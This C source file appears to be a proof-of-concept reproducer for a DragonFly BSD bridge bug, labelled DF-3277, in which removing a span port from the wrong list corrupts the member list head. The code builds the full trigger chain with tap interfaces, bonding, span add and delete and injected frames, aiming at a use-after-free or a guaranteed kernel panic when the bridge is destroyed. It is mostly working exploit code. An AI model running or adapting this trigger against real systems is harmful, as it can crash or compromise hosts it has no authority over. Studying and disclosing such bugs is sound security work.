DF-3277 / bond_corrupt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 | /* * DF-3277 -- bridge_delete_span() removes the span bif from the WRONG list. * * if_bridge.c:1155: TAILQ_REMOVE(&sc->sc_iflists[mycpuid], bif, bif_next); * but span bifs are linked on sc->sc_spanlist (bridge_ioctl_addspan, * if_bridge.c:1832). Removing the *last* span entry executes * head->tqh_last = elm->tqe_prev * against the per-cpu MEMBER list head -> sc_iflists[0].tqh_last is * clobbered to &sc->sc_spanlist.tqh_first. * * The next TAILQ_INSERT_TAIL on the member list (the LINK2 bonding * round-robin in bridge_select_unicast, if_bridge.c:2140) then does * *(sc_iflists[0].tqh_last) = alt_bif; == sc_spanlist.tqh_first = <member bif> * cross-linking the span list with the member list. Teardown of the * bridge then treats a member bif as a span bif: KASSERT / UAF write / * double free. * * This program performs the whole chain pinned to CPU0: * 1. bridge0 + tap0/tap1 (same MAC = bonding set, STP on) + tap2 (injector) * 2. link2 + fwddelay=1, wait for FORWARDING * 3. spanport tap3 add + del <-- corrupts sc_iflists[0].tqh_last * 4. learn MAC on tap0, then unicast dst=that MAC from tap2 * <-- bonding round-robin INSERT_TAIL through the stale tqh_last * 5. exec "ifconfig bridge0 destroy" -- corruption manifests */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/sched.h> /* sched_setaffinity, cpu_set_t (cpumask_t) */ #include <net/if.h> #include <net/ethernet.h> #include <net/bridge/if_bridgevar.h> #include <net/if_dl.h> #include <netinet/in.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #define BRIDGE "bridge0" static int s; /* ioctl socket */ static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); } static void ifflags(const char *ifname, short flags) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); ifr.ifr_flags = flags; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS"); } static void drvspec(const char *ifname, unsigned long cmd, int subcmd, void *data, size_t len) { struct ifdrv ifd; memset(&ifd, 0, sizeof(ifd)); strlcpy(ifd.ifd_name, ifname, IFNAMSIZ); ifd.ifd_cmd = subcmd; ifd.ifd_len = len; ifd.ifd_data = data; if (ioctl(s, cmd, &ifd) < 0) { fprintf(stderr, "[-] drvspec cmd=%d: %s\n", subcmd, strerror(errno)); exit(1); } } static void add_member(const char *bridge, const char *member) { struct ifbreq r; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, member, IFNAMSIZ); drvspec(bridge, SIOCSDRVSPEC, BRDGADD, &r, sizeof(r)); } static void set_stp(const char *bridge, const char *member, int on) { struct ifbreq r; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, member, IFNAMSIZ); r.ifbr_ifsflags = IFBIF_LEARNING | IFBIF_DISCOVER; if (on) r.ifbr_ifsflags |= IFBIF_STP; drvspec(bridge, SIOCSDRVSPEC, BRDGSIFFLGS, &r, sizeof(r)); } static void set_fwddelay(const char *bridge, int secs) { struct ifbrparam p; memset(&p, 0, sizeof(p)); p.ifbrp_fwddelay = secs; drvspec(bridge, SIOCSDRVSPEC, BRDGSFD, &p, sizeof(p)); } static void addspan(const char *bridge, const char *member) { struct ifbreq r; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, member, IFNAMSIZ); drvspec(bridge, SIOCSDRVSPEC, BRDGADDS, &r, sizeof(r)); } static void delspan(const char *bridge, const char *member) { struct ifbreq r; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, member, IFNAMSIZ); drvspec(bridge, SIOCSDRVSPEC, BRDGDELS, &r, sizeof(r)); } /* set interface link-layer address. * DFly quirk: SIOCSIFLLADDR passes ifr_addr.sa_len as the *address * length* and sa_data as the address (see if_setlladdr, sys/net/if.c). */ static void set_lladdr(const char *ifname, const unsigned char *mac) { struct ifreq ifr; struct sockaddr sa; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); memset(&sa, 0, sizeof(sa)); sa.sa_family = AF_LINK; sa.sa_len = ETHER_ADDR_LEN; memcpy(sa.sa_data, mac, ETHER_ADDR_LEN); memcpy(&ifr.ifr_addr, &sa, sizeof(sa)); if (ioctl(s, SIOCSIFLLADDR, &ifr) < 0) die("SIOCSIFLLADDR"); } static void create_if(const char *ifname) { char cmd[64]; /* * NOTE: direct SIOCIFCREATE intermittently EINVALs on this * guest for currently-unknown reasons; use ifconfig(8) (the * canonical creator) instead. It runs the same ioctl. */ snprintf(cmd, sizeof(cmd), "ifconfig %s create 2>/dev/null", ifname); if (system(cmd) != 0) { fprintf(stderr, "[-] ifconfig %s create failed\n", ifname); exit(1); } } static void destroy_if(const char *ifname) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); if (ioctl(s, SIOCIFDESTROY, &ifr) < 0 && errno != ENXIO && errno != ENODEV) die("SIOCIFDESTROY"); } static int tap_fd(const char *name) { char path[64]; int fd; snprintf(path, sizeof(path), "/dev/%s", name); fd = open(path, O_RDWR); if (fd < 0) die(path); return (fd); } static void inject(int fd, const unsigned char *dst, const unsigned char *src) { unsigned char frame[60]; memset(frame, 0, sizeof(frame)); memcpy(frame, dst, 6); memcpy(frame + 6, src, 6); /* * ETHERTYPE_ARP: NETISR_ARP has no hashfn, so packets hash to 0 * and are always processed on cpu0 (matching the corrupted * sc_iflists[0] list head). (ETHERTYPE_IP frames with a zero * ip_hl get freed by ip_lengthcheck before reaching the bridge.) */ frame[12] = 0x08; frame[13] = 0x06; /* ETHERTYPE_ARP */ if (write(fd, frame, sizeof(frame)) < 0) die("tap write"); } /* broadcast frame carrying the given source MAC */ static void inject_bcast(int fd, const unsigned char *src) { static const unsigned char bc[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; inject(fd, bc, src); } static void gifflags(const char *bridge, const char *member, struct ifbreq *r) { memset(r, 0, sizeof(*r)); strlcpy(r->ifbr_ifsname, member, IFNAMSIZ); drvspec(bridge, SIOCGDRVSPEC, BRDGGIFFLGS, r, sizeof(*r)); } /* dump member list order (BRDGGIFS) -- shows TAIL position of bond members */ static void giflist(const char *bridge) { struct ifbifconf bifc; struct ifbreq *reqs; int i; memset(&bifc, 0, sizeof(bifc)); bifc.ifbic_len = 0; drvspec(bridge, SIOCGDRVSPEC, BRDGGIFS, &bifc, sizeof(bifc)); if (bifc.ifbic_len == 0) { printf(" [members: none]\n"); return; } reqs = calloc(1, bifc.ifbic_len); bifc.ifbic_req = reqs; drvspec(bridge, SIOCGDRVSPEC, BRDGGIFS, &bifc, sizeof(bifc)); printf(" [member order:"); for (i = 0; i * (int)sizeof(*reqs) < (int)bifc.ifbic_len; i++) printf(" %s", reqs[i].ifbr_ifsname); printf("]\n"); free(reqs); } /* print ifnet data counters (SIOCGIFDATA; kernel copies to ifr_data) */ static void showstats(const char *ifname) { struct ifreq ifr; struct if_data ifd; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); ifr.ifr_data = (caddr_t)&ifd; if (ioctl(s, SIOCGIFDATA, &ifr) < 0) { printf(" [ifdata: %s]\n", strerror(errno)); return; } printf(" [%s ipackets=%llu opackets=%llu ibytes=%llu " "ierrors=%llu oerrors=%llu]\n", ifname, (unsigned long long)ifd.ifi_ipackets, (unsigned long long)ifd.ifi_opackets, (unsigned long long)ifd.ifi_ibytes, (unsigned long long)ifd.ifi_ierrors, (unsigned long long)ifd.ifi_oerrors); } /* dump the bridge address table (BRDGRTS) */ static void rtsdump(const char *bridge) { struct ifbaconf bac; struct ifbareq *reqs; int i; memset(&bac, 0, sizeof(bac)); bac.ifbac_len = 0; drvspec(bridge, SIOCGDRVSPEC, BRDGRTS, &bac, sizeof(bac)); if (bac.ifbac_len == 0) { printf(" [rtable: empty]\n"); return; } reqs = calloc(1, bac.ifbac_len); bac.ifbac_req = reqs; drvspec(bridge, SIOCGDRVSPEC, BRDGRTS, &bac, sizeof(bac)); printf(" [rtable:"); for (i = 0; i * (int)sizeof(*reqs) < (int)bac.ifbac_len; i++) printf(" %02x:%02x:%02x:%02x:%02x:%02x->%s", reqs[i].ifba_dst[0], reqs[i].ifba_dst[1], reqs[i].ifba_dst[2], reqs[i].ifba_dst[3], reqs[i].ifba_dst[4], reqs[i].ifba_dst[5], reqs[i].ifba_ifsname); printf("]\n"); free(reqs); } /* print bridge if_flags */ static void showflags(const char *ifname) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) die("SIOCGIFFLAGS"); printf("[+] %s flags=%#x (LINK2=%#x UP=%#x RUN=%#x)\n", ifname, (unsigned)ifr.ifr_flags, IFF_LINK2, IFF_UP, IFF_RUNNING); } /* poll until member reaches FORWARDING (state 3) or timeout */ static int wait_forwarding(const char *bridge, const char *member, int secs) { struct ifbreq r; int t; for (t = 0; t < secs; t++) { gifflags(bridge, member, &r); if (r.ifbr_state == BSTP_IFSTATE_FORWARDING) return (0); sleep(1); } return (-1); } static void pin_cpu0(void) { cpu_set_t mask; /* cpumask_t struct: one bit per cpu */ CPU_ZERO(&mask); CPU_SET(0, &mask); if (sched_setaffinity(0, sizeof(mask), &mask) < 0) die("sched_setaffinity"); printf("[+] pinned to cpu0\n"); } /* 02:xx unicast addresses */ static const unsigned char mac_bond[6] = {0x02,0,0,0,0,0x10}; /* tap0/tap1 */ static const unsigned char mac_tap2[6] = {0x02,0,0,0,0,0x22}; static const unsigned char mac_learn[6] = {0x02,0,0,0,0,0x55}; /* host behind tap0 */ static const unsigned char mac_src[6] = {0x02,0,0,0,0,0x66}; /* host behind tap2 */ int main(void) { int fd0, fd2, i; setvbuf(stdout, NULL, _IOLBF, 0); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) die("socket"); pin_cpu0(); /* clean slate */ destroy_if(BRIDGE); destroy_if("tap0"); destroy_if("tap1"); destroy_if("tap2"); destroy_if("tap3"); create_if("tap0"); create_if("tap1"); create_if("tap2"); create_if("tap3"); /* bonding set: tap0/tap1 share one MAC */ set_lladdr("tap0", mac_bond); set_lladdr("tap1", mac_bond); set_lladdr("tap2", mac_tap2); /* * Open the tap fds BEFORE the bridge comes up: bstp_ifupdstatus() * needs IFM_ACTIVE media (fd open), else the ports are disabled at * initialization and later enabling parks them in BLOCKING without * a state selection (bstp_enable_port quirk). */ fd0 = tap_fd("tap0"); { int fd1 = tap_fd("tap1"); (void)fd1; } fd2 = tap_fd("tap2"); create_if(BRIDGE); ifflags("tap0", IFF_UP | IFF_RUNNING); ifflags("tap1", IFF_UP | IFF_RUNNING); ifflags("tap2", IFF_UP | IFF_RUNNING); add_member(BRIDGE, "tap0"); add_member(BRIDGE, "tap1"); add_member(BRIDGE, "tap2"); set_stp(BRIDGE, "tap0", 1); set_stp(BRIDGE, "tap1", 1); set_fwddelay(BRIDGE, 1); /* bridge: UP + LINK2 (bonding round robin) */ ifflags(BRIDGE, IFF_UP | IFF_LINK2); printf("[+] bridge up (link2), waiting for STP forwarding\n"); /* wait until the STP bond members actually FORWARD */ { struct ifbreq r0, r1; int t, ok = 0; for (t = 0; t < 40 && !ok; t++) { gifflags(BRIDGE, "tap0", &r0); gifflags(BRIDGE, "tap1", &r1); printf(" t=%2d tap0: state=%d flags=%#x | " "tap1: state=%d flags=%#x\n", t, r0.ifbr_state, r0.ifbr_ifsflags, r1.ifbr_state, r1.ifbr_ifsflags); ok = (r0.ifbr_state == BSTP_IFSTATE_FORWARDING || r0.ifbr_state == BSTP_IFSTATE_BONDED) && (r1.ifbr_state == BSTP_IFSTATE_FORWARDING || r1.ifbr_state == BSTP_IFSTATE_BONDED); sleep(1); } gifflags(BRIDGE, "tap0", &r0); printf("[+] tap0 stp state=%d flags=%#x (3=fwd 5=bonded)\n", r0.ifbr_state, r0.ifbr_ifsflags); if (!ok) { printf("[-] bond members never forwarded\n"); return (2); } } /* * 1) corrupt sc_iflists[0].tqh_last via span add+del. * bridge_delete_span TAILQ_REMOVEs the span bif (last on spanlist) * against the MEMBER list head. */ addspan(BRIDGE, "tap3"); delspan(BRIDGE, "tap3"); printf("[+] spanport tap3 added+deleted (list head corrupted)\n"); /* * 2) learn mac_learn behind tap0, then send unicast dst=mac_learn * in via tap2 (pinned cpu0): bridge_rtlookup -> tap0 -> * bridge_select_unicast bonding round-robin -> * TAILQ_INSERT_TAIL through the stale tqh_last -> * sc_spanlist.tqh_first = <member bif>. */ printf("[+] list order before bonding traffic:"); giflist(BRIDGE); showflags(BRIDGE); system("ifconfig tap0 | head -2; ifconfig tap1 | head -2;" " ifconfig tap2 | head -2"); /* broadcast learn frame (src=02:55) -- proven to reach input */ showstats(BRIDGE); inject_bcast(fd0, mac_learn); usleep(300000); showstats(BRIDGE); printf("[+] after bcast learn frame:"); rtsdump(BRIDGE); /* unicast learn frame variant too (src=02:55, unknown dst) */ inject(fd0, mac_src, mac_learn); usleep(300000); printf("[+] after ucast learn frame:"); rtsdump(BRIDGE); for (i = 0; i < 4; i++) { inject(fd2, mac_learn, mac_src); usleep(200000); } printf("[+] bonding traffic injected (INSERT_TAIL fired on cpu0)\n"); printf("[+] list order after bonding traffic:"); giflist(BRIDGE); printf("[+] rtable after:"); rtsdump(BRIDGE); /* * 3) probe: if the span list got cross-linked with the member * list, tap1 (a MEMBER) now appears in sc_spanlist, and * BRDGDELS("tap1") will "succeed": it unlinks the member bif * from the member list and frees it while it is still a * member (if_bridge == sc). With no corruption it returns * ENOENT. */ { struct ifdrv ifd; struct ifbreq r; int rc; memset(&r, 0, sizeof(r)); strlcpy(r.ifbr_ifsname, "tap1", IFNAMSIZ); memset(&ifd, 0, sizeof(ifd)); strlcpy(ifd.ifd_name, BRIDGE, IFNAMSIZ); ifd.ifd_cmd = BRDGDELS; ifd.ifd_len = sizeof(r); ifd.ifd_data = &r; rc = ioctl(s, SIOCSDRVSPEC, &ifd); printf("[+] delspan(tap1) probe rc=%d errno=%d (%s)\n", rc, errno, rc == 0 ? "MEMBER FOUND IN SPANLIST!" : strerror(errno)); } sleep(2); /* let ssh drain the log before the likely panic */ /* * 4) teardown -- if the probe succeeded, cpu0's member list no * longer has tap1's bif while other cpus still do: destroy * hits KKASSERT(bif != NULL && bif->bif_onlist) in * bridge_del_bif_handler -> guaranteed panic. */ printf("[+] destroying bridge0 ...\n"); fflush(stdout); destroy_if(BRIDGE); printf("[-] bridge destroyed cleanly, no visible corruption\n"); return (2); } |